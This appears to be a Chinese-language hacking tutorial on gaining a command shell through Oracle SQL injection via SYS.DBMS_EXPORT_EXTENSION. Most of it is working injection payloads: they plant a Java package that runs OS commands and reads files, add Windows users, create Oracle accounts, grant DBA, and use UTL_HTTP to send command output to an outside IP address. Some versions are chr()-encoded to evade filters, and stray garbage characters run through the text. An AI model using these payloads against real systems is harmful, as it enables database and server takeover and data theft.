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介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
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以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
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2 q2 U+ R# w$ g' s. X' R$ `5 C- e; b的形式即可。(用" 'a'|| "是为了让语句返回true值)% _; V6 q! V0 K& b5 ~( E% {
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语句有点长,可能要用post提交。
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! s, P2 A8 m( G7 y3 \4 V以下是各个步骤:) j) J, P) n! f4 D5 h
Q% D7 m, e& y% d5 \4 E1.创建包
3 j% m) K, F" s3 m9 f通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:/ v9 e- K6 e9 i0 b, Z' m/ y
- O+ J( o0 x: g9 }! b/xxx.jsp?id=1 and '1'<>'a'||(
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7 `! V' m9 c6 M6 D k- pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% n3 G: ~6 `4 D7 @; V$ I5 O4 h
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
* p G& G. u5 z/ qnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
2 A h! w: K% b0 ]! l0 k}'''';END;'';END;--','SYS',0,'1',0) from dual
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------------------------2 e6 _5 S# C" F; Q7 j
如果url有长度限制,可以把readFile()函数块去掉,即:( y2 G9 A: U/ ?+ j
/xxx.jsp?id=1 and '1'<>'a'||(
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''( _6 T& I% A8 o* `8 l$ S7 [
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
' w# N+ e& Z( Znew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
2 P" I2 M& ^: k) L* d, ?}'''';END;'';END;--','SYS',0,'1',0) from dual% D5 U. ~& H4 y& P6 M; ?# t: d
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6 g; o3 M1 D" ^, j8 ]同时把后面步骤 提到的 对readFile()的处理语句去掉。
7 }" R2 f2 |5 A4 `, R' ?# W------------------------------+ P7 l3 |/ K. M J1 G
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2.赋Java权限
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9 }) Z- V ?2 ?0 f8 I8 m9 K: Jselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
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3.创建函数9 s5 Q e6 j7 n
4 ~$ m) S; s; S4 xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''6 @" d5 h$ q* F% ^
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual, g) {, h- j) n; s& ]" ?
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) V' p7 f( }: o! L& T3 xcreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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( R' b2 h4 O9 b5 J5 `4.赋public执行函数的权限
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/ G& m/ u Y. Yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual8 N0 l Y# t+ Z) X8 G+ D
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual: j$ R, r" }& _! F
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7 j. E) E- `/ l8 {2 b5.测试上面的几步是否成功0 D/ W5 n3 P4 G
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and '1'<>'11'||(
+ V0 s& x+ D( A4 Z* V& M$ {select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
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and '1'<>(
+ e$ P' p4 y$ A* d8 Cselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'6 a9 D( K ^" C' {0 t! c
)
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6.执行命令:
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/xxx.jsp?id=1 and '1'<>(- j- {% }, `* b- z7 w/ M; e
select sys.LinxRunCMD('cmd /c net user linx /add') from dual( B, r' Z, K7 D$ H! z4 c1 P
)
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/xxx.jsp?id=1 and '1'<>(6 S) \8 \$ a: Q0 C A9 D
select sys.LinxReadFile('c:/boot.ini') from dual1 H- q+ Y8 ]) y6 g0 R- C: ^
)
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! C; N# o( P0 Q w9 ^注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。6 V |, A$ N3 m2 x
如果要查看运行结果可以用 union :
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% q8 V9 c z* q: y/ ^" R/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual, e6 e. i$ o j0 k' u
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或者UTL_HTTP.request(:
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/xxx.jsp?id=1 and '1'<>($ F4 y ]8 K% v5 O. a
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual# ~0 L$ X* O* Y) u2 F/ Y1 M9 }, A
)
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/xxx.jsp?id=1 and '1'<>(
" A/ e; c d9 zSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual1 c7 A4 G. u, C. ~
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: i5 N; Q# R/ M8 P4 j0 m# G注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
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5 S" c7 z* J8 B4 P+ l" B9 W-------------------- O# o; X/ x5 p0 b
# @- G O+ o2 d+ [$ x3 u0 K6.内部变化9 k9 f3 s8 \1 j- d, a8 N! Q
通过以下命令可以查看all_objects表达改变:2 R3 v) K3 E [: S2 U: w* |, E+ \6 o
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
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7.删除我们创建的函数1 K5 j7 o w5 N8 p! i, q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''/ ] t8 {; D: T0 {1 g: p4 o0 M
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
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====================================================
1 ~( L |* L/ @( C& [全文结束。谨以此文赠与我的朋友。& A; ~$ |9 s/ ]6 \, J
8 D( _7 z( K" n- h5 o* |; Llinx
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2008.1.12
5 Z9 `$ m. o2 N9 k: B6 Blinyujian@bjfu.edu.cn. I( p6 F8 Z m1 w! e n5 ^1 }- |
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======================================================================
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: C9 {; c) ]% S测试漏洞的另一方法: {% M) }. y. h# l- n
/ Y& l+ f) g0 ?! i创建oracle帐号:
% i( ~$ x0 s. Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! O" e( G3 K. W/ [
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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- ^0 k( H3 Y3 T3 E# w/ ~. K+ B即:
. S2 A. G8 n" t4 Rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
" [! x3 @# B0 Dchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual6 F! L' P4 w9 }% E
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确定漏洞存在:- z7 P% G4 ^! ]2 ~
1<>(
! P9 T' Z: k& `* Dselect user_id from all_users where username='LINXSQL'
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给linxsql连接权限:
; m2 f7 E" E; }' s5 y& e: o' [- iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
- c$ f9 e8 E3 L* ]- I% W" QGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual4 o8 b. O" o/ o" |. a
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删除帐号:6 q7 ~) X$ E3 f0 g& ^0 ]; a- H; `
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 ^& O& ^2 T4 A3 Q' e4 W
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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! @2 ]- x6 o; C% N以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
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1.jsp?id=1 and '1'<>(
& ^( h- ?" u* ^& [1 nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
W* ~ { H7 C ]$ y8 e, pcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
% A7 ?0 ~/ s' z) Z5 H6 E) and ...
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1.jsp?id=1 and '1'<>(
8 u. [; y5 o! w# ]0 G0 xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
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1.jsp?id=1 and '1'<>(
, I6 G# e+ L" ~5 CSELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
2 h3 {" _; I* b& S$ e( W) and ...
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( J2 N# |# w$ v0 B* ]/ S" d* a1.jsp?id=1 and '1'<>(
* ~" s) b9 Z& q$ ^SELECT sys.Linx_Query('declare pragma
; F, v( a [( ]0 H7 E$ lautonomous_transaction; begin execute immediate ''; r+ z# g4 v7 m X# S3 [2 H
select 1 from dual
7 X5 O, ~) ?6 U/ Y2 M! d''; commit; end;') from dual
( M) u% g9 O! S8 A; n- R) and ...
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多语句:8 ^( w& k6 J0 O/ K
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual6 b2 x# |* }, C) x9 Y
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创建用户(除非当前用户有system权限,否则无法成功):0 g% R* v/ R* q! \
SELECT sys.Linx_Query('declare pragma% _6 k8 S7 g# V( y. D, I
autonomous_transaction; begin execute immediate ''
8 Q1 d% {& P& M$ e3 }- sCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
_5 Z4 u: l$ e7 b$ o' b''; commit; end;') from dual
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================7 B" A# g+ S9 w0 \2 Q
以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()" c( q5 G" ?: m7 {4 G1 c
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1.创建函数
- q- N, A. B( r O- t5 p( Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
/ S' D5 g3 b3 U$ Rcreate or replace function Linx_Query (p) F+ `: v6 G% _7 E2 p N5 t
varchar2) return number authid current_user is begin execute immediate7 J' k4 S7 j) R" L. e0 i" ?
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;2 ~3 V" M" L- S" R6 E! S
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如果有权限,以下语句应该允许正常+ M. d$ z* m* f8 X
select sys.linx_query('select 1 from dual') from dual;" v) w. V4 R9 u* G1 R
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不然的话运行:
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5 m4 X( z) z5 N! a! s" g7 B9 w6 nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''2 x9 J! g0 d" Q
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual
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6 s" d \1 G4 K" b9 K" k9 V2.创建包, {" \ u! w# n4 W( |( A0 g
SELECT sys.Linx_Query('declare pragma
3 k5 D; l4 k, B9 ~5 [4 D0 ^; _autonomous_transaction; begin execute immediate ''
& V1 r& H9 ~$ f9 _/ Rcreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
+ J6 \) E+ K0 a! L6 h: I! P1 Ynew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual1 ~' \+ D+ n) }9 E8 _+ h7 `5 Y3 o
9 n; l6 [+ g C) u( T. w+ A: i3.创建函数& E. U; L" d9 o# J3 F$ L9 P
SELECT sys.Linx_Query('declare pragma# q" \( k# P' O' O* A
autonomous_transaction; begin execute immediate ''
) h* N @3 h+ h) d5 Mcreate or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
, w# @' Q- W, E2 U2 c1 i- T! {1 O8 l* m4 F% v+ ~/ Y( v
4.给权限 ?; J, m% }4 R, B+ C* @
给用户SYSTEM执行权限:
9 p4 W5 H# L" C2 s
; ^5 U$ i9 q" ~( ^SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual# B) P. s* R% V$ B# ~3 w' D4 S2 U
9 R7 W6 L1 t( x' I. t
, p+ _- m `* T% z: u* }2 _, [
1 D1 W" {# `% q3 n* `& y% B
5.执行函数
. A4 y% v# Y6 Hselect RunCMD2('cmd /c dir') from dual- e. ?$ P L5 S3 F! ?5 [
+ e: i1 V" U* }7 h$ Z3 V" O, }
$ c; b$ y0 N j! I% s
) F; Z- u: k& t
, M0 n- Z- H6 m' t
* [2 S/ [0 i; e' F+ g7 N# o==================% a9 e. e& p, J# z. N
================================
r) I$ A5 j9 l$ P* Z% B! q& `1 Q
2 {! K/ h+ p' H* n以下是无 " ' " 版:
0 j; e- W+ a6 @* G6 Y) M- W
& I# ]6 {, s$ p以下是各个步骤:
0 s- R" K# D/ J9 a5 ~( n9 G/ l L. b7 O9 u2 H0 G- m
1.创建包7 _% G9 u8 u: h3 M
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
5 L; \3 D; r0 @8 `) m0 v因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:' Z4 e0 a r& |% Q3 I: P
' H3 M0 a5 T6 K4 D. t9 I& ?
/xxx.jsp?id=1 and chr(49)<>chr(50)||(0 b3 w/ P* _. q1 U) O
% H! F" n9 ~2 J& N4 S( @0 R+ Z$ iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),, h7 E% p9 u' _1 j$ Z0 O, [* \( R
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
2 d9 D0 {, h9 L0 ^$ o& m. _chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
8 v" I2 y- Z6 S( q& Pchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
' N5 T6 O* E2 rchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
+ `6 f/ ^, \9 q; w/ }3 {/ d7 c$ T' kchr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||& g {- `2 }* E# \1 z7 Z
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
' G+ G+ _( P& L! lchr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||; m4 S* c0 h2 r. w
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||
0 T- o: T# z: O1 e$ V' Q1 echr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
) ?/ t X7 \* ? N) nchr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||% o! S* H. d' |4 J, A+ |2 n
chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
1 c# S* I3 i1 v0 V$ J* tchr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||% ?# h( l0 F' K, \& l
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
! a% S w8 C( }1 Fchr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||+ O7 J6 L; ]! P- @
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
/ a; i' Z3 k9 ?6 X* Tchr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)|| L& i! b8 U! @7 n
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
5 G6 H6 `2 e& C+ \' Fchr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||: {* N! f5 S1 G3 }* r
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||- N. J6 j" G2 w5 b
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||4 V. c( a8 I% T2 b
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||+ T4 D! G3 d4 n5 {
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
( v' G9 U$ R8 B; S9 Rchr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||0 p2 S& C! F# \% [* N
chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||* a9 S' ^$ v* I H6 P9 I
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||9 |6 n [% Y- V) w
